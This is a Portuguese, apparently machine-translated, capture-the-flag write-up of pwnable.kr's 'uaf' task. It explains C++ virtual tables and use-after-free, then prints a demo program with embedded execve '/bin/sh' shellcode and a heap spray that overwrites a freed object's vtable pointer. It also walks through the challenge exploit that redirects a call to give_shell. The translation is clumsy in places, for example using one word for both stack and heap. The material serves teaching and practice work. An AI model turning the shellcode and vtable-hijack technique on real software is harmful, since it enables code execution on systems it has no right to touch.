Resolvendo um trabalho com pwnable.kr 16 - uaf. Usar após vulnerabilidade gratuita

imagem

Neste artigo, consideraremos o que é o UAF e também resolveremos a 16ª tarefa no site pwnable.kr .

Informações Organizacionais
Especialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
  • PWN;
  • criptografia (criptografia);
  • tecnologias de rede (rede);
  • reverso (engenharia reversa);
  • esteganografia (estegano);
  • pesquisa e exploração de vulnerabilidades na WEB.

Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.

Para que você possa descobrir sobre novos artigos, software e outras informações, criei um canal no Telegram e um grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações pessoais e responderei a todos .

Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.

Herança e métodos virtuais


Função virtual - na programação orientada a objetos, uma função de classe que pode ser substituída em classes sucessoras. Assim, o programador não precisa saber o tipo exato de objeto para trabalhar com ele por meio de métodos virtuais: basta saber que o objeto pertence à classe ou ao descendente da classe na qual o método é declarado.

Simplificando, imagine que temos uma classe base Animal definida que possui uma função virtual sreak. Portanto, a classe Animal pode ter duas classes filho, Gato e Cachorro. A função virtual Cat: sreak () exibirá myau e Dog: sreak exibirá gav. Mas se a mesma estrutura é armazenada na memória, como o programa entende quais dos sreaks devem ser chamados?

Todo o trabalho é fornecido pela tabela de métodos virtuais (TVM) ou, conforme determinado pela vtable.

Cada classe possui seu próprio TVM e o compilador adiciona seu ponteiro de tabela virtual (vptr - ponteiro para vtable), como a primeira variável local desse objeto. Vamos conferir.
#include <stdio.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); return 0; } 

Compile e execute para ver a saída.
 g++ ex.c -o ex.bin 

imagem

Agora, execute o depurador no IDA e pare antes de chamar a primeira função. Vá para a janela HEX-View e sincronize-a com o registro RAX.

imagem

No fragmento selecionado, vemos o valor das variáveis ​​var1 ao definir variáveis ​​do tipo ANIMALS e CAT. Antes de ambas as variáveis, existem endereços, como dissemos, esses são indicadores para VMT (0x559f9898fd90 e 0x559f9898fd70).

Vamos ver o que acontece quando func1 é chamado:
  1. Primeiro, no RAX, teremos um endereço no objeto usando o ponteiro ptr.
  2. Além disso, no RAX, o primeiro valor do objeto é lido - um ponteiro para o VMT (para seu primeiro elemento).
  3. No RAX, o primeiro valor do VMT é lido - um ponteiro para o mesmo método virtual.
  4. No RDX, um ponteiro para o objeto é inserido (mais comumente isso).
  5. Uma chamada de método virtual é feita.


imagem

Quando func2 é chamado, acontece o mesmo, com uma exceção, não o primeiro registro (RAX), mas o segundo (RAX + 8) é lido no VMT. Este é o mecanismo para trabalhar com métodos virtuais.

imagem

UAF


Essa vulnerabilidade é típica da pilha, pois a pilha foi projetada para armazenar dados de uma pequena quantidade (variáveis ​​locais). A pilha, sendo memória dinâmica, é perfeita para armazenar grandes quantidades de dados. Nesse caso, a alocação e liberação de memória pode ocorrer durante a execução do programa. Mas, por causa disso, é necessário monitorar qual memória está ocupada e qual não está. Para fazer isso, você precisa de um cabeçalho de serviço para o bloco de memória alocado. Ele contém o endereço inicial e um ponteiro para o primeiro elemento do bloco. E enquanto a pilha, ao contrário da pilha, cresce.

A essência da vulnerabilidade é que, após liberar memória, o programa pode se referir a essa área. Portanto, existem ponteiros pendurados. Mude o código do programa e verifique isso.
 int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; ptr->func1(); return 0; } 

imagem

Vamos descobrir onde o programa falha. Por analogia com o exemplo anterior, paro antes de chamar a função e sincronizo o Hex-View com o RAX. Vemos em que nosso objeto deve estar localizado. Mas, ao executar a instrução a seguir, 0 permanece no registro RAX e, já tentando desreferenciar 0, o programa falha.

imagem

imagem

Assim, para a exploração do UAF, é necessário transferir o código do shell para o programa e, em seguida, começar pelo ponteiro suspenso (no VMT). Isso é possível devido ao fato de que o heap na solicitação aloca um bloco de memória que foi liberado anteriormente e, dessa forma, podemos emular o VMT, que apontará para o código da shell. Em outras palavras, onde o endereço da função VMT foi localizado anteriormente, o endereço do código do shell agora será localizado. Mas não podemos garantir que a memória do único objeto selecionado coincida com a zona recém limpa, portanto, criaremos vários desses objetos em um loop.

Vejamos um exemplo. Primeiro, pegue o código da shell, por exemplo, daqui .
 "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05" 

E complemente nosso código:
 #include <stdio.h> #include <string.h> class ANIMAL{ private: int var1 = 0x11111111; public: virtual void func1(){ printf("Class Animal - func1\n"); } virtual void func2(){ printf("Class Animal - func2\n"); } }; class CAT : public ANIMAL { public: virtual void func1(){ printf("Class Cat - func1\n"); } virtual void func2(){ printf("Class Cat - func2\n"); } }; class EX_SHELL{ private: char n[8]; public: EX_SHELL(void* addr_in_VMT){ memcpy(n, &addr_in_VMT, sizeof(void*)); } }; char shellcode[] = "\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05"; int main(){ ANIMAL *p1 = new ANIMAL(); ANIMAL *p2 = new CAT(); ANIMAL *ptr; ptr = p1; ptr->func1(); ptr->func2(); ptr = dynamic_cast<CAT*>(p2); ptr->func1(); ptr->func2(); delete p2; void* vmt[1]; vmt[0] = (void*) shellcode; for(int i=0; i<0x10000; i++) new EX_SHELL(vmt); ptr->func1(); return 0; } 

Após compilar e executar, obtemos um shell completo.

imagem

Solução de trabalho uaf


Clicamos no ícone assinado por uaf e somos informados de que precisamos conectar via SSH com a senha de convidado.

imagem

Quando conectado, vemos o banner correspondente.

imagem

Vamos descobrir quais arquivos estão no servidor e quais direitos temos.

imagem

Vamos ver o código fonte
 #include <fcntl.h> #include <iostream> #include <cstring> #include <cstdlib> #include <unistd.h> using namespace std; class Human{ private: virtual void give_shell(){ system("/bin/sh"); } protected: int age; string name; public: virtual void introduce(){ cout << "My name is " << name << endl; cout << "I am " << age << " years old" << endl; } }; class Man: public Human{ public: Man(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a nice guy!" << endl; } }; class Woman: public Human{ public: Woman(string name, int age){ this->name = name; this->age = age; } virtual void introduce(){ Human::introduce(); cout << "I am a cute girl!" << endl; } }; int main(int argc, char* argv[]){ Human* m = new Man("Jack", 25); Human* w = new Woman("Jill", 21); size_t len; char* data; unsigned int op; while(1){ cout << "1. use\n2. after\n3. free\n"; cin >> op; switch(op){ case 1: m->introduce(); w->introduce(); break; case 2: len = atoi(argv[1]); data = new char[len]; read(open(argv[2], O_RDONLY), data, len); cout << "your data is allocated" << endl; break; case 3: delete m; delete w; break; default: break; } } return 0; } 


No início do programa, temos dois objetos de classes herdados da classe Human. Que tem uma função nos dando uma concha.

imagem

Em seguida, somos convidados a apresentar uma das três ações:
  1. exibir informações do objeto;
  2. escreva para um monte de dados aceitos como parâmetro de programa;
  3. exclua o objeto criado.


imagem

Como a vulnerabilidade do UAF é considerada nesta tarefa, o plano deve ser o seguinte: criar - excluir - gravar no heap - receber informações.

O único passo sobre o qual temos controle total é gravar no heap. Porém, antes da gravação, precisamos saber como a VMT procura esses objetos e o endereço da função que nos fornece o shell. Usando um exemplo, entendemos como o VMT funciona, os ponteiros para os endereços são armazenados um após o outro, ou seja,
func2 = * func1 + sizeof (* func1), func3 = * func1 + 2 * sizeof (* func2) etc.

Como a primeira função no VMT será give_shell (), e quando a função Man :: introduz () for chamada, o segundo endereço do VMT será o endereço inserido. Dado o sistema de 64 bits: * introdução = * give_shell + 8. Encontraremos confirmação disso:

imagem

A linha principal + 272 comprova nossa suposição, pois o endereço relativo à base aumenta em 8.

Defina um ponto de interrupção e observe o conteúdo do EAX para determinar o endereço base.

imagem

imagem

imagem

Encontramos o endereço base: 0x0000000000401570. Portanto, em vez do shell, precisamos escrever o endereço give_shell () no heap, reduzido em 8, para que ele seja usado como base do VMT e, ao aumentar em 8, o programa nos deu um shell.

imagem

O programa como parâmetro é o número de bytes que ele lê do arquivo e o nome do arquivo. Ainda resta um pouco para substituir os dados. Você precisa alocar um bloco de memória do tamanho de um bloco liberado. Encontre o tamanho do bloco que ocupa um objeto.

imagem

Portanto, antes de criar o objeto 0x18 = 24 bytes são reservados. Ou seja, precisamos compor um arquivo composto por 24 bytes.

imagem

Como o programa libera dois objetos, teremos que escrever os dados duas vezes.

imagem

Pegamos a concha, lemos a bandeira, obtemos 8 pontos.

imagem

Você pode se juntar a nós no Telegram . Da próxima vez, trataremos da memória de alinhamento.

Source: https://habr.com/ru/post/pt462471/


All Articles